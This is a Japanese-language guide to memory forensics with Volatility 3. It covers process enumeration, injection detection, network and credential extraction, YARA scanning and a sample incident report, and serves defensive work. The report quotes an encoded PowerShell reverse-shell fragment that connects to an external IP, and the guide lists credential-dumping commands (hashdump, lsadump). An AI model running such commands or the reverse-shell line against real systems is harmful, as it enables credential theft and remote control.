Volatilityによるメモリダンプ分析 は何をしますか?
使用すべきケース
- 侵害されたシステムのRAMがキャプチャされ、マルウェアの痕跡をフォレンジック分析する必要がある場合
- ディスクに永続的な痕跡を残さず、メモリ内にのみ存在するファイルレスマルウェアを検出する場合
- プロセスメモリから暗号鍵、パスワード、復号化された設定情報を抽出する場合
- 侵害されたシステムにおけるプロセスインジェクション、DLLインジェクション、プロセスハロウイングを特定する場合
- 標準的なディスクベースのフォレンジックツールでは隠蔽されるルートキット活動を分析する場合
使用すべきでないケース: ディスクイメージの分析。ディスクフォレンジックにはAutopsy、FTK、Sleuth Kitを使用してください。
前提条件
- Volatility 3 がインストールされていること(
pip install volatility3)、および対象OSのシンボルテーブルが存在すること - 対象システムからメモリダンプファイルが取得されていること(WinPmem、LiME、DumpItを使用)
- 正しいプロファイル/シンボルを選択するための、ソースOSバージョンの知識
- 十分なディスク容量(メモリダンプは4~64 GBになる可能性があります)
- 既知のマルウェアシグネチャをメモリ内でスキャンするためのYARAルール
- メモリ領域から読み取り可能な文字列を抽出するためのStringsユーティリティ
ワークフロー
ステップ1: メモリダンプのプロファイル特定
メモリダンプからオペレーティングシステムとバージョンを特定します:
# Volatility 3: 自動OS検出
vol3 -f memory.dmp windows.info
# 利用可能なプラグインの一覧表示
vol3 -f memory.dmp --help
# シンボルが必要な場合は、以下からダウンロード:
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# Volatility 2 (レガシー):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
ステップ2: 実行中のプロセスの列挙
すべてのプロセスをリストアップし、不審なエントリを特定します:
# すべてのプロセスを一覧表示
vol3 -f memory.dmp windows.pslist
# プロセスツリー(親子関係)
vol3 -f memory.dmp windows.pstree
# 隠された/リンク解除されたプロセスをスキャン(ルートキット検出)
vol3 -f memory.dmp windows.psscan
# pslistとpsscanを比較して隠されたプロセスを発見
# psscanにはあるがpslistにはないプロセスは、ルートキットによって隠されている可能性があります
# プロセスハロウイングのチェック
vol3 -f memory.dmp windows.pslist --dump
# その後、ダンプされたEXEがディスク上の期待されるバイナリと一致するか確認します
不審なプロセスの兆候:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe が services.exe によって起動されていない(親が間違っている)
- csrss.exe/lsass.exe に異常な親プロセスがある
- lsass.exe の複数のインスタンス(1つだけであるべき)
- スペルミスのあるプロセス名(scvhost.exe、lssas.exe)
- WINWORD.EXE やブラウザから起動された cmd.exe や powershell.exe
- 異常なパス(%TEMP%、%APPDATA%)から実行されているプロセス
- 親プロセスがない(孤立している - 親が終了している)
ステップ3: 悪意のあるコードインジェクションの検出
注入されたコードとプロセスハロウイングをスキャンします:
# プロセス内の注入コードを検出(malfind)
vol3 -f memory.dmp windows.malfind
# Malfindは以下を探します:
# - PAGE_EXECUTE_READWRITE 保護を持つメモリ領域
# - PEヘッダ(MZ/PEシグネチャ)を含むメモリ領域
# - VAD(仮想アドレス記述子)の異常
# 注入されたメモリ領域をダンプして分析
vol3 -f memory.dmp windows.malfind --dump --pid 2184
# プロセスごとにロードされたDLLを一覧表示
vol3 -f memory.dmp windows.dlllist --pid 2184
# マップされたイメージをディスクと比較してハロウイングされたプロセスを検出
vol3 -f memory.dmp windows.hollowfind
# ロードされたドライバをスキャン(潜在的なルートキットドライバ)
vol3 -f memory.dmp windows.driverscan
# カーネルモジュールの一覧表示
vol3 -f memory.dmp windows.modules
ステップ4: ネットワーク接続の分析
アクティブおよびクローズされたネットワーク接続を抽出します:
# すべてのネットワーク接続を一覧表示(アクティブとリスニング)
vol3 -f memory.dmp windows.netscan
# 出力列: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner
# 外部IPへの確立された接続をフィルタリング
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
# 古いWindows(XP/2003)の場合:
vol3 -f memory.dmp windows.netstat
# PIDをプロセスリストと相互参照
# 不審: 非標準ポートで外部IPに接続している svchost.exe
# 不審: ネットワーク接続がある notepad.exe や calc.exe
ステップ5: アーティファクトと資格情報の抽出
メモリから機密データを復元します:
# 特定のPIDのプロセスメモリをダンプ
vol3 -f memory.dmp windows.memmap --dump --pid 2184
# コマンドライン履歴を抽出
vol3 -f memory.dmp windows.cmdline
# 環境変数を抽出
vol3 -f memory.dmp windows.envars --pid 2184
# レジストリ分析(永続化のためのRunキーを抽出)
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# ハッシュ化/キャッシュされた資格情報を抽出
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
# クリップボードの内容を抽出
vol3 -f memory.dmp windows.clipboard
# メモリからのファイル抽出
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
ステップ6: YARAルールによるメモリスキャン
YARAシグネチャを適用して、メモリ内の既知のマルウェアを検出します:
# YARAルールでメモリダンプ全体をスキャン
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
# 特定のプロセスメモリをスキャン
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
# 一般的なパターンに対する組み込みYARAスキャン
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
# 暗号鍵の素材をスキャン
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
ステップ7: タイムラインとレポートの生成
分析タイムラインを作成し、調査結果をまとめます:
# 包括的なタイムラインを生成
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
# タイムラインには以下が含まれます:
# - プロセスの作成/終了時刻
# - ネットワーク接続のタイムスタンプ
# - レジストリ変更時刻
# - ファイルアクセス時刻
# レポート用にプロセスリストをエクスポート
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
# ネットワーク接続をエクスポート
vol3 -f memory.dmp windows.netscan --output csv > network.csv
主要な概念
| 用語 | 定義 |
|---|---|
| メモリフォレンジックス | 揮発性メモリ(RAM)の内容を分析し、ディスク上に存在しない可能性のある実行中のプロセス、ネットワーク接続、メモリ内アーティファクトを特定する |
| プロセスハロウイング | 正規のプロセスを一時停止状態で作成し、そのメモリを悪意のあるコードで置き換えてから実行を再開するマルウェア手法 |
| Malfind | 実行可能な権限と非イメージVAD内のPEヘッダを持つメモリ領域を特定することで、注入されたコードを検出するVolatilityプラグイン |
| VAD(仮想アドレス記述子) | プロセスに割り当てられたメモリ領域を追跡するWindowsカーネル構造。VADの異常はインジェクションやハロウイングを示す |
| EPROCESS | プロセスを表すWindowsカーネル構造。ルートキットはEPROCESSエントリのリンクを解除して、標準ツールからプロセスを隠す |
| プールタグスキャン | カーネルオブジェクトのプールタグをスキャンして、リンクが解除されていてもオブジェクト(プロセス、ファイル、接続)を発見するメモリフォレンジックス手法 |
| ファイルレスマルウェア | ディスクにファイルを作成せず、メモリ内でのみ動作するマルウェア。メモリフォレンジックスでのみ検出可能 |
ツールとシステム
- Volatility 3: オープンソースのメモリフォレンジックスフレームワーク。プラグインアーキテクチャによりWindows、Linux、macOSのメモリ分析をサポート
- WinPmem: Windowsシステム用のメモリ取得ツール。オフライン分析用のRAWメモリダンプを作成
- LiME(Linux Memory Extractor): Linuxシステムのメモリダンプをキャプチャするためのローダブルカーネルモジュール
- Rekall: いくつかの独自の分析機能を備えた代替メモリフォレンジックスフレームワーク(開発は終了しているが、まだ有用)
- MemProcFS: メモリダンプをファイルシステムとしてマウントし、直感的な分析を可能にするメモリプロセスファイルシステム
一般的なシナリオ
シナリオ: EDRアラート後のファイルレスマルウェア検出
コンテキスト: EDRが不審なPowerShellアクティビティを検出したが、脅威アクターがディスク上の痕跡を消去した。システムが再起動される前にメモリダンプがキャプチャされた。分析では、マルウェア、その永続化メカニズム、およびラテラルムーブメントを特定する必要がある。
アプローチ:
windows.pstreeを実行してプロセスチェーン(どのプロセスがPowerShellを起動したか)を特定するwindows.malfindを実行して実行中のプロセスに注入されたコードを検出する- 不審なプロセスメモリをダンプし、C2 URLの文字列を抽出する
windows.netscanを実行して、侵害されたプロセスからのネットワーク接続を特定するwindows.cmdlineを実行して、PowerShellが実行したコマンドを確認する- ダンプされたプロセスメモリ内の既知のマルウェアファミリをYARAルールでスキャンする
hashdumpとlsadumpで資格情報を抽出し、ラテラルムーブメントのリスクを評価する
注意点:
- OSバージョンに対して誤ったシンボルテーブルを使用する(プラグインの失敗や誤った結果を引き起こす)
pslistとpsscanの出力を比較しない(ルートキットに隠されたプロセスを見逃す)- 注入された正規のプロセスを無視する(プロセス名だけでなく、malfindの結果に注目する)
- 分析を終了する前に完全なプロセスメモリを抽出しない(プロセスダンプからの文字列は追加のIOCを明らかにする可能性がある)
出力形式
メモリフォレンジックス分析レポート
===================================
ダンプファイル: memory.dmp
ダンプサイズ: 16 GB
OSバージョン: Windows 10 21H2 (Build 19044)
キャプチャツール: WinPmem 4.0
キャプチャ時刻: 2025-09-15 14:35:00 UTC
不審なプロセス
PID PPID 名前 パス 異常
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe パスが間違っている
4012 2184 powershell.exe C:\Windows\System32\powershell.exe 偽のsvchostの子プロセス
3456 4012 cmd.exe C:\Windows\System32\cmd.exe PowerShellによって起動
コードインジェクション検出(malfind)
PID 852 (explorer.exe):
アドレス: 0x00400000 サイズ: 98304 保護: PAGE_EXECUTE_READWRITE
ヘッダ: MZ(埋め込みPE検出)
ダンプのSHA-256: abc123def456...
ネットワーク接続
PID プロセス ローカル 外部 状態
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
抽出された資格情報
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
コマンドライン履歴
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
デコード結果: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
YARA一致
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }
タイムライン
14:10:00 svchost.exe (PID 2184) が C:\Users\Admin\AppData\Temp\ から作成されました
14:10:05 185.220.101.42:443 へのネットワーク接続が確立されました
14:12:30 powershell.exe (PID 4012) が svchost.exe によって起動されました
14:15:00 explorer.exe (PID 852) へのコードインジェクションが検出されました
14:20:00 LSASSプロセスからの資格情報ダンプ